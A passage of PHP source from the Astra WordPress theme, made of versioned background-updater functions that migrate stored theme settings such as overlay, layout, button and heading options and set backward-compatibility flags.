			$current_payment_list,
			array(
				'id'      => 'item-102',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-amex',
				'image'   => '',
				'label'   => __( 'Amex', 'astra' ),
			)
		) : '';

		false !== $discover_payment ? array_push(
			$current_payment_list,
			array(
				'id'      => 'item-103',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-discover',
				'image'   => '',
				'label'   => __( 'Discover', 'astra' ),
			)
		) : '';

		$paypal_payment ? array_push(
			$current_payment_list,
			array(
				'id'      => 'item-104',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-paypal',
				'image'   => '',
				'label'   => __( 'Paypal', 'astra' ),
			)
		) : '';

		$apple_pay_payment ? array_push(
			$current_payment_list,
			array(
				'id'      => 'item-105',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-apple-pay',
				'image'   => '',
				'label'   => __( 'Apple Pay', 'astra' ),
			)
		) : '';

		if ( $current_payment_list ) {
			$theme_options['single-product-payment-list'] =
			array(
				'items' =>
					array_merge(
						$current_payment_list,
						$old_payment_list
					),
			);

			update_option( 'astra-settings', $theme_options );
		}

		if ( ! isset( $theme_options['woo_support_global_settings'] ) ) {
			$theme_options['woo_support_global_settings'] = true;
			update_option( 'astra-settings', $theme_options );
		}

		if ( isset( $theme_options['theme-dynamic-customizer-support'] ) ) {
			$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
			foreach ( $post_types as $index => $post_type ) {
				$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ]['text-transform'] = '';
			}
			update_option( 'astra-settings', $theme_options );
		}
	}
}

/**
 * 4.1.4 backward handling cases.
 *
 * 1. Migrating users to combined color overlay option to new dedicated overlay options.
 *
 * @since 4.1.4
 * @return void
 */
function astra_theme_background_updater_4_1_4() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['v4-1-4-update-migration'] ) ) {
		$ast_bg_control_options = array(
			'off-canvas-background',
			'footer-adv-bg-obj',
			'footer-bg-obj',
		);

		foreach ( $ast_bg_control_options as $key => $bg_option ) {
			if ( isset( $theme_options[ $bg_option ] ) && ! isset( $theme_options[ $bg_option ]['overlay-type'] ) ) {
				$bg_type = isset( $theme_options[ $bg_option ]['background-type'] ) ? $theme_options[ $bg_option ]['background-type'] : '';

				$theme_options[ $bg_option ]['overlay-type']     = 'none';
				$theme_options[ $bg_option ]['overlay-color']    = '';
				$theme_options[ $bg_option ]['overlay-opacity']  = '';
				$theme_options[ $bg_option ]['overlay-gradient'] = '';

				if ( 'image' === $bg_type ) {
					$bg_img   = isset( $theme_options[ $bg_option ]['background-image'] ) ? $theme_options[ $bg_option ]['background-image'] : '';
					$bg_color = isset( $theme_options[ $bg_option ]['background-color'] ) ? $theme_options[ $bg_option ]['background-color'] : '';

					if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
						$theme_options[ $bg_option ]['overlay-type']     = 'classic';
						$theme_options[ $bg_option ]['overlay-color']    = $bg_color;
						$theme_options[ $bg_option ]['overlay-opacity']  = '';
						$theme_options[ $bg_option ]['overlay-gradient'] = '';
					}
				}
			}
		}

		$ast_resp_bg_control_options = array(
			'hba-footer-bg-obj-responsive',
			'hbb-footer-bg-obj-responsive',
			'footer-bg-obj-responsive',
			'footer-menu-bg-obj-responsive',
			'hb-footer-bg-obj-responsive',
			'hba-header-bg-obj-responsive',
			'hbb-header-bg-obj-responsive',
			'hb-header-bg-obj-responsive',
			'header-mobile-menu-bg-obj-responsive',
			'site-layout-outside-bg-obj-responsive',
			'content-bg-obj-responsive',
		);

		$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
		foreach ( $post_types as $index => $post_type ) {
			$ast_resp_bg_control_options[] = 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg';
			$ast_resp_bg_control_options[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-background';
		}

		$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu;
		for ( $index = 1; $index <= $component_limit; $index++ ) {
			$_prefix                       = 'menu' . $index;
			$ast_resp_bg_control_options[] = 'header-' . $_prefix . '-bg-obj-responsive';
		}

		foreach ( $ast_resp_bg_control_options as $key => $resp_bg_option ) {
			// Desktop version.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			if ( isset( $theme_options[ $resp_bg_option ]['desktop'] ) && is_array( $theme_options[ $resp_bg_option ]['desktop'] ) && ! isset( $theme_options[ $resp_bg_option ]['desktop']['overlay-type'] ) ) {
				// @codingStandardsIgnoreStart
				$desk_bg_type = isset( $theme_options[ $resp_bg_option ]['desktop']['background-type'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-type'] : '';
				// @codingStandardsIgnoreEnd

				$theme_options[ $resp_bg_option ]['desktop']['overlay-type']     = '';
				$theme_options[ $resp_bg_option ]['desktop']['overlay-color']    = '';
				$theme_options[ $resp_bg_option ]['desktop']['overlay-opacity']  = '';
				$theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = '';

				if ( 'image' === $desk_bg_type ) {
					$bg_img   = isset( $theme_options[ $resp_bg_option ]['desktop']['background-image'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-image'] : '';
					$bg_color = isset( $theme_options[ $resp_bg_option ]['desktop']['background-color'] ) ? $theme_options[ $resp_bg_option ]['desktop']['background-color'] : '';

					if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
						$theme_options[ $resp_bg_option ]['desktop']['overlay-type']     = 'classic';
						$theme_options[ $resp_bg_option ]['desktop']['overlay-color']    = $bg_color;
						$theme_options[ $resp_bg_option ]['desktop']['overlay-opacity']  = '';
						$theme_options[ $resp_bg_option ]['desktop']['overlay-gradient'] = '';
					}
				}
			}

			// Tablet version.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			if ( isset( $theme_options[ $resp_bg_option ]['tablet'] ) && is_array( $theme_options[ $resp_bg_option ]['tablet'] ) && ! isset( $theme_options[ $resp_bg_option ]['tablet']['overlay-type'] ) ) {
				// @codingStandardsIgnoreStart
				$tablet_bg_type = isset( $theme_options[ $resp_bg_option ]['tablet']['background-type'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-type'] : '';
				// @codingStandardsIgnoreEnd
				$theme_options[ $resp_bg_option ]['tablet']['overlay-type']     = '';
				$theme_options[ $resp_bg_option ]['tablet']['overlay-color']    = '';
				$theme_options[ $resp_bg_option ]['tablet']['overlay-opacity']  = '';
				$theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = '';
				if ( 'image' === $tablet_bg_type ) {
					$bg_img   = isset( $theme_options[ $resp_bg_option ]['tablet']['background-image'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-image'] : '';
					$bg_color = isset( $theme_options[ $resp_bg_option ]['tablet']['background-color'] ) ? $theme_options[ $resp_bg_option ]['tablet']['background-color'] : '';
					if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
						$theme_options[ $resp_bg_option ]['tablet']['overlay-type']     = 'classic';
						$theme_options[ $resp_bg_option ]['tablet']['overlay-color']    = $bg_color;
						$theme_options[ $resp_bg_option ]['tablet']['overlay-opacity']  = '';
						$theme_options[ $resp_bg_option ]['tablet']['overlay-gradient'] = '';
					}
				}
			}


			// Mobile version.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			if ( isset( $theme_options[ $resp_bg_option ]['mobile'] ) && is_array( $theme_options[ $resp_bg_option ]['mobile'] ) && ! isset( $theme_options[ $resp_bg_option ]['mobile']['overlay-type'] ) ) {
				// @codingStandardsIgnoreStart
				$mobile_bg_type = isset( $theme_options[ $resp_bg_option ]['mobile']['background-type'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-type'] : '';
				// @codingStandardsIgnoreEnd
				$theme_options[ $resp_bg_option ]['mobile']['overlay-type']     = '';
				$theme_options[ $resp_bg_option ]['mobile']['overlay-color']    = '';
				$theme_options[ $resp_bg_option ]['mobile']['overlay-opacity']  = '';
				$theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = '';

				if ( 'image' === $mobile_bg_type ) {
					$bg_img   = isset( $theme_options[ $resp_bg_option ]['mobile']['background-image'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-image'] : '';
					$bg_color = isset( $theme_options[ $resp_bg_option ]['mobile']['background-color'] ) ? $theme_options[ $resp_bg_option ]['mobile']['background-color'] : '';

					if ( '' !== $bg_img && '' !== $bg_color && ( ! is_numeric( strpos( $bg_color, 'linear-gradient' ) ) && ! is_numeric( strpos( $bg_color, 'radial-gradient' ) ) ) ) {
						$theme_options[ $resp_bg_option ]['mobile']['overlay-type']     = 'classic';
						$theme_options[ $resp_bg_option ]['mobile']['overlay-color']    = $bg_color;
						$theme_options[ $resp_bg_option ]['mobile']['overlay-opacity']  = '';
						$theme_options[ $resp_bg_option ]['mobile']['overlay-gradient'] = '';
					}
				}
			}
		}

		$theme_options['v4-1-4-update-migration'] = true;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.1.6
 *
 * @since 4.1.6
 * @return void
 */
function astra_theme_background_updater_4_1_6() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['list-block-vertical-spacing'] ) ) {
		$theme_options['list-block-vertical-spacing'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Set flag to avoid direct reflections on live site & to maintain backward compatibility for existing users.
 *
 * @since 4.1.7
 * @return void
 */
function astra_theme_background_updater_4_1_7() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['add-hr-styling-css'] ) ) {
		$theme_options['add-hr-styling-css'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	if ( ! isset( $theme_options['astra-site-svg-logo-equal-height'] ) ) {
		$theme_options['astra-site-svg-logo-equal-height'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Migrating users to new container layout options
 *
 * @since 4.2.0
 * @return void
 */
function astra_theme_background_updater_4_2_0() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['v4-2-0-update-migration'] ) ) {

		$post_types          = Astra_Posts_Structure_Loader::get_supported_post_types();
		$theme_options       = get_option( 'astra-settings' );
		$blog_types          = array( 'single', 'archive' );
		$third_party_layouts = array( 'woocommerce', 'edd', 'lifterlms', 'lifterlms-course-lesson', 'learndash' );

		// Global.
		if ( isset( $theme_options['site-content-layout'] ) ) {
			$theme_options = astra_apply_layout_migration( 'site-content-layout', 'ast-site-content-layout', 'site-content-style', 'site-sidebar-style', $theme_options );
		}

		// Single, archive.
		foreach ( $blog_types as $index => $blog_type ) {
			foreach ( $post_types as $index => $post_type ) {
				$old_layout    = $blog_type . '-' . esc_attr( $post_type ) . '-content-layout';
				$new_layout    = $blog_type . '-' . esc_attr( $post_type ) . '-ast-content-layout';
				$content_style = $blog_type . '-' . esc_attr( $post_type ) . '-content-style';
				$sidebar_style = $blog_type . '-' . esc_attr( $post_type ) . '-sidebar-style';

				if ( isset( $theme_options[ $old_layout ] ) ) {
					$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options );
				}
			}
		}

		// Third party existing layout migrations to new layout options.
		foreach ( $third_party_layouts as $index => $layout ) {
			$old_layout    = $layout . '-content-layout';
			$new_layout    = $layout . '-ast-content-layout';
			$content_style = $layout . '-content-style';
			$sidebar_style = $layout . '-sidebar-style';
			if ( isset( $theme_options[ $old_layout ] ) ) {
				if ( 'lifterlms' === $layout ) {

					// Lifterlms course/lesson sidebar style migration case.
					$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, 'lifterlms-course-lesson-sidebar-style', $theme_options );
				}
				$theme_options = astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options );
			}
		}

		if ( ! isset( $theme_options['fullwidth_sidebar_support'] ) ) {
			$theme_options['fullwidth_sidebar_support'] = false;
		}

		$theme_options['v4-2-0-update-migration'] = true;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle migration from old to new layouts.
 *
 * Migration cases for old users, old layouts -> new layouts.
 *
 * @since 4.2.0
 * @param mixed $old_layout old_layout.
 * @param mixed $new_layout new_layout.
 * @param mixed $content_style content_style.
 * @param mixed $sidebar_style sidebar_style.
 * @param array $theme_options theme_options.
 * @return array $theme_options The updated theme options.
 */
function astra_apply_layout_migration( $old_layout, $new_layout, $content_style, $sidebar_style, $theme_options ) {
	switch ( astra_get_option( $old_layout ) ) {
		case 'boxed-container':
			$theme_options[ $new_layout ]    = 'normal-width-container';
			$theme_options[ $content_style ] = 'boxed';
			$theme_options[ $sidebar_style ] = 'boxed';
			break;
		case 'content-boxed-container':
			$theme_options[ $new_layout ]    = 'normal-width-container';
			$theme_options[ $content_style ] = 'boxed';
			$theme_options[ $sidebar_style ] = 'unboxed';
			break;
		case 'plain-container':
			$theme_options[ $new_layout ]    = 'normal-width-container';
			$theme_options[ $content_style ] = 'unboxed';
			$theme_options[ $sidebar_style ] = 'unboxed';
			break;
		case 'page-builder':
			$theme_options[ $new_layout ]    = 'full-width-container';
			$theme_options[ $content_style ] = 'unboxed';
			$theme_options[ $sidebar_style ] = 'unboxed';
			break;
		case 'narrow-container':
			$theme_options[ $new_layout ]    = 'narrow-width-container';
			$theme_options[ $content_style ] = 'unboxed';
			$theme_options[ $sidebar_style ] = 'unboxed';
			break;
		default:
			$theme_options[ $new_layout ]    = 'default';
			$theme_options[ $content_style ] = 'default';
			$theme_options[ $sidebar_style ] = 'default';
			break;
	}
	return $theme_options;
}

/**
 * Handle backward compatibility on version 4.2.2
 *
 * @since 4.2.2
 * @return void
 */
function astra_theme_background_updater_4_2_2() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['v4-2-2-core-form-btns-styling'] ) ) {
		$theme_options['v4-2-2-core-form-btns-styling'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.6.0
 *
 * @since 4.4.0
 * @return void
 */
function astra_theme_background_updater_4_4_0() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['v4-4-0-backward-option'] ) ) {
		$theme_options['v4-4-0-backward-option'] = false;

		// Migrate primary button outline styles to secondary buttons.
		if ( isset( $theme_options['font-family-button'] ) ) {
			$theme_options['secondary-font-family-button'] = $theme_options['font-family-button'];
		}
		if ( isset( $theme_options['font-size-button'] ) ) {
			$theme_options['secondary-font-size-button'] = $theme_options['font-size-button'];
		}
		if ( isset( $theme_options['font-weight-button'] ) ) {
			$theme_options['secondary-font-weight-button'] = $theme_options['font-weight-button'];
		}
		if ( isset( $theme_options['font-extras-button'] ) ) {
			$theme_options['secondary-font-extras-button'] = $theme_options['font-extras-button'];
		}
		if ( isset( $theme_options['button-bg-color'] ) ) {
			$theme_options['secondary-button-bg-color'] = $theme_options['button-bg-color'];
		}
		if ( isset( $theme_options['button-bg-h-color'] ) ) {
			$theme_options['secondary-button-bg-h-color'] = $theme_options['button-bg-h-color'];
		}
		if ( isset( $theme_options['theme-button-border-group-border-color'] ) ) {
			$theme_options['secondary-theme-button-border-group-border-color'] = $theme_options['theme-button-border-group-border-color'];
		}
		if ( isset( $theme_options['theme-button-border-group-border-h-color'] ) ) {
			$theme_options['secondary-theme-button-border-group-border-h-color'] = $theme_options['theme-button-border-group-border-h-color'];
		}
		if ( isset( $theme_options['button-radius-fields'] ) ) {
			$theme_options['secondary-button-radius-fields'] = $theme_options['button-radius-fields'];
		}

		// Single - Article Featured Image visibility migration.
		$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();
		foreach ( $post_types as $index => $post_type ) {
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-1' ] = 'none';
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-position-layout-2' ] = 'none';
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-article-featured-image-ratio-type' ]        = 'default';
		}

		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.5.0.
 *
 * @since 4.5.0
 * @return void
 */
function astra_theme_background_updater_4_5_0() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['v4-5-0-backward-option'] ) ) {
		$theme_options['v4-5-0-backward-option'] = false;

		$palette_options = get_option( 'astra-color-palettes', Astra_Global_Palette::get_default_color_palette() );
		if ( ! isset( $palette_options['presets'] ) ) {
			$palette_options['presets'] = astra_get_palette_presets();
			update_option( 'astra-color-palettes', $palette_options );
		}

		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.5.2.
 *
 * @since 4.5.2
 * @return void
 */
function astra_theme_background_updater_4_5_2() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['scndry-btn-default-padding'] ) ) {
		$theme_options['scndry-btn-default-padding'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.6.0
 *
 * @since 4.6.0
 * @return void
 */
function astra_theme_background_updater_4_6_0() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['v4-6-0-backward-option'] ) ) {
		$theme_options['v4-6-0-backward-option'] = false;
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		$blog_post_structure = isset( $theme_options['blog-post-structure'] ) ? $theme_options['blog-post-structure'] : array( 'image', 'title-meta' );
		/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		$migrated_post_structure = array();

		if ( ! empty( $blog_post_structure ) ) {
			/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			foreach ( $blog_post_structure as $key ) {
				/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
				if ( 'title-meta' === $key ) {
					$migrated_post_structure[] = 'title';
					$migrated_post_structure[] = 'title-meta';
				}
				if ( 'image' === $key ) {
					$migrated_post_structure[] = 'image';
				}
			}

			$migrated_post_structure[] = 'excerpt';
			$migrated_post_structure[] = 'read-more';

			$theme_options['blog-post-structure'] = $migrated_post_structure;
		}

		if ( defined( 'ASTRA_EXT_VER' ) ) {
			$theme_options['ast-sub-section-author-box-border-width']  = isset( $theme_options['author-box-border-width'] ) ? $theme_options['author-box-border-width'] : array(
				'top'    => '',
				'right'  => '',
				'bottom' => '',
				'left'   => '',
			);
			$theme_options['ast-sub-section-author-box-border-radius'] = isset( $theme_options['author-box-border-radius'] ) ? $theme_options['author-box-border-radius'] : array(
				'top'    => '',
				'right'  => '',
				'bottom' => '',
				'left'   => '',
			);
			$theme_options['ast-sub-section-author-box-border-color']  = isset( $theme_options['author-box-border-color'] ) ? $theme_options['author-box-border-color'] : '';

			if ( isset( $theme_options['single-post-inside-spacing'] ) ) {
				$theme_options['ast-sub-section-author-box-padding'] = $theme_options['single-post-inside-spacing'];
			}
			if ( isset( $theme_options['font-family-post-meta'] ) ) {
				$theme_options['font-family-post-read-more'] = $theme_options['font-family-post-meta'];
			}
			if ( isset( $theme_options['font-extras-post-meta'] ) ) {
				$theme_options['font-extras-post-read-more'] = $theme_options['font-extras-post-meta'];
			}
		}

		if ( isset( $theme_options['single-post-inside-spacing'] ) ) {
			$theme_options['ast-sub-section-related-posts-padding'] = $theme_options['single-post-inside-spacing'];
		}

		$theme_options['single-content-images-shadow'] = false;
		$theme_options['ast-font-style-update']        = false;
		update_option( 'astra-settings', $theme_options );
	}
	$docs_legacy_data = get_option( 'astra_docs_data', array() );
	if ( ! empty( $docs_legacy_data ) ) {
		delete_option( 'astra_docs_data' );
	}
}

/**
 * Handle backward compatibility on version 4.6.2.
 *
 * @since 4.6.2
 * @return void
 */
function astra_theme_background_updater_4_6_2() {
	$theme_options = get_option( 'astra-settings', array() );

	// Unset "featured image" for pages structure.
	if ( ! isset( $theme_options['v4-6-2-backward-option'] ) ) {
		$theme_options['v4-6-2-backward-option'] = false;

		$page_banner_layout      = isset( $theme_options['ast-dynamic-single-page-layout'] ) ? $theme_options['ast-dynamic-single-page-layout'] : 'layout-1';
		$page_structure          = isset( $theme_options['ast-dynamic-single-page-structure'] ) ? $theme_options['ast-dynamic-single-page-structure'] : array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' );
		$layout_1_image_position = isset( $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] ) ? $theme_options['ast-dynamic-single-page-article-featured-image-position-layout-1'] : 'behind';

		$migrated_page_structure = array();

		if ( 'layout-1' === $page_banner_layout && 'none' === $layout_1_image_position && ! empty( $page_structure ) ) {
			foreach ( $page_structure as $key ) {
				if ( 'ast-dynamic-single-page-image' !== $key ) {
					$migrated_page_structure[] = $key;
				}
			}
			$theme_options['ast-dynamic-single-page-structure'] = $migrated_page_structure;
		}

		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility on version 4.6.4.
 *
 * @since 4.6.4
 * @return void
 */
function astra_theme_background_updater_4_6_4() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['btn-stylings-upgrade'] ) ) {
		$theme_options['btn-stylings-upgrade'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for Elementor Pro heading's margin.
 *
 * @since 4.6.5
 * @return void
 */
function astra_theme_background_updater_4_6_5() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['elementor-headings-style'] ) ) {
		$theme_options['elementor-headings-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for Elementor Loop block post div container padding.
 *
 * @since 4.6.6
 * @return void
 */
function astra_theme_background_updater_4_6_6() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['elementor-container-padding-style'] ) ) {
		$theme_options['elementor-container-padding-style'] = defined( 'ELEMENTOR_PRO_VERSION' ) ? true : false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for Starter template library preview line height cases.
 *
 * @since 4.6.11
 * @return void
 */
function astra_theme_background_updater_4_6_11() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( isset( $theme_options['global-headings-line-height-update'] ) ) {
		return;
	}

	$headers_fonts = array(
		'h1' => '1.4',
		'h2' => '1.3',
		'h3' => '1.3',
		'h4' => '1.2',
		'h5' => '1.2',
		'h6' => '1.25',
	);

	foreach ( $headers_fonts as $header_tag => $header_font_value ) {

		if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height'] ) ) {
			$theme_options[ 'font-extras-' . $header_tag ]['line-height'] = $header_font_value;
			if ( empty( $theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] ) ) {
				$theme_options[ 'font-extras-' . $header_tag ]['line-height-unit'] = 'em';
			}
		}
	}

	$theme_options['global-headings-line-height-update'] = true;

	update_option( 'astra-settings', $theme_options );

}

/**
 * Handle backward compatibility for heading `clear:both` css in single posts and pages.
 *
 * @since 4.6.12
 * @return void
 */
function astra_theme_background_updater_4_6_12() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['single_posts_pages_heading_clear_none'] ) ) {
		$theme_options['single_posts_pages_heading_clear_none'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	if ( ! isset( $theme_options['elementor-btn-styling'] ) ) {
		$theme_options['elementor-btn-styling'] = defined( 'ELEMENTOR_VERSION' ) ? true : false;
		update_option( 'astra-settings', $theme_options );
	}

	if ( ! isset( $theme_options['remove_single_posts_navigation_mobile_device_padding'] ) ) {
		$theme_options['remove_single_posts_navigation_mobile_device_padding'] = true;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for following pointers.
 *
 * 1. unit less line-height support.
 * 2. H5 font size case.
 *
 * @since 4.6.14
 * @return void
 */
function astra_theme_background_updater_4_6_14() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['enable-4-6-14-compatibility'] ) ) {
		$theme_options['enable-4-6-14-compatibility'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for following cases.
 *
 * 1. Making edd default option enable by default.
 * 2. Handle backward compatibility for Heading font size fix.
 *
 * @since 4.7.0
 * @return void
 */
function astra_theme_background_updater_4_7_0() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( class_exists( 'Easy_Digital_Downloads' ) && ! isset( $theme_options['can-update-edd-featured-image-default'] ) ) {
		$theme_options['can-update-edd-featured-image-default'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	if ( ! isset( $theme_options['heading-widget-font-size'] ) ) {
		$theme_options['heading-widget-font-size'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for version 4.7.1
 *
 * @since 4.7.1
 * @return void
 */
function astra_theme_background_updater_4_7_1() {
	$theme_options = get_option( 'astra-settings', array() );

	// Setting same background color for above and below transparent headers as on transparent primary header.
	if ( isset( $theme_options['transparent-header-bg-color-responsive'] ) ) {
		if ( ! isset( $theme_options['hba-transparent-header-bg-color-responsive'] ) ) {
			$theme_options['hba-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive'];
		}
		if ( ! isset( $theme_options['hbb-transparent-header-bg-color-responsive'] ) ) {
			$theme_options['hbb-transparent-header-bg-color-responsive'] = $theme_options['transparent-header-bg-color-responsive'];
		}
		update_option( 'astra-settings', $theme_options );
	}
}


/**
 * Handle backward compatibility Spectra Heading max-width with Astra when fullwidth layout is selected.
 *
 * @since 4.8.0
 * @return void
 */
function astra_theme_background_updater_4_8_0() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['enable-4-8-0-compatibility'] ) ) {
		$theme_options['enable-4-8-0-compatibility'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}



/**
 * Handle backward compatibility Single post outside spacing issue.
 *
 * @since 4.8.2
 * @return void
 */
function astra_theme_background_updater_4_8_2() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['v4-8-2-backward-option'] ) ) {
		$theme_options['v4-8-2-backward-option'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Handle backward compatibility for Spectra container margin left and right.
 * Handle backward compatibility for Heading font size px to em conversion cases.
 *
 * @since 4.8.4
 * @return void
 */
function astra_theme_background_updater_4_8_4() {
	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['enable-4-8-4-compatibility'] ) ) {
		$theme_options['enable-4-8-4-compatibility'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	if ( ! isset( $theme_options['astra-heading-font-size-compatibility'] ) ) {
				$theme_options['astra-heading-font-size-compatibility'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * Set key to show NPS survey popup immediately for old user.
 *
 * @since 4.8.7
 * @return void
 */
function astra_theme_background_updater_4_8_7() {

	// Bail early if the starter template is being imported.
	if ( get_option( 'astra_sites_import_started' ) === 'yes' ) {
		return;
	}

	update_option( 'astra_nps_show', true );

}